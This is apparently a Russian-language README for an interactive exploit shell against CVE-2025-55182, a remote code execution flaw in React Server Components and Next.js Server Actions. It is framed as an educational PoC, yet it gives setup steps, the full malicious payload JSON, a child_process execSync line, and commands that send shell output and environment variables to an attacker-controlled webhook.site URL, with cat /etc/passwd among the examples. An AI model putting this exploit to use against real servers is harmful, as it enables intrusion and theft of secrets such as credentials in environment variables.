
CVE-2025-55182 Интерактивный PoC - React Server Components RCE - Образовательное исследование в области безопасности
Интерактивная оболочка для эксплуатации CVE-2025-55182, уязвимости удаленного выполнения кода в React Server Components.
Этот инструмент предоставляется ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ и АВТОРИЗОВАННЫХ целей тестирования безопасности.
CVE-2025-55182 затрагивает React Server Components (RSC) в:
Уязвимость позволяет удаленно выполнять код (RCE) через вредоносные полезные нагрузки, отправляемые в Server Actions.
$@x для ссылок на внутренние объекты Chunk.then() (Promise-подобные)_response, _formData и _prefixFunction через обход цепочки прототипов$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
Отредактируйте exploit.js и обновите эти значения:
const TARGET_URL = 'http://localhost:3000/' // Уязвимый сервер Next.js
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // URL вашего webhook
Получить бесплатный webhook можно на: https://webhook.site
node exploit.js
react2shell> !test
[+] Отправлено! Проверьте webhook
react2shell> whoami
[+] Отправлено: whoami
react2shell> ls -la
[+] Отправлено: ls -la
react2shell> !env
[+] Отправлено! Проверьте webhook для переменных окружения
Результаты отображаются в вашем webhook, а не в терминале.
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action$@3 создает ссылку на Chunk$3:constructor:constructor переходит к Function_prefix передается в Function() и выполняетсяrequire() недоступенimport():
import("child_process").then(cp => cp.execSync("whoami"))
Обновитесь до этих версий, чтобы устранить уязвимость:
Лицензия MIT - Только для образовательных целей.
PoC исследований безопасности - Используйте ответственно.
| Команда | Описание |
|---|
!test | Проверить работу эксплойта (отправляет подтверждение на webhook) |
!env | Извлечь переменные окружения (process.env) |
!js <code> | Выполнить произвольный JavaScript |
!help | Показать справку |
!exit | Выйти |
<command> | Выполнить команду оболочки (например, whoami, ls, cat /etc/passwd) |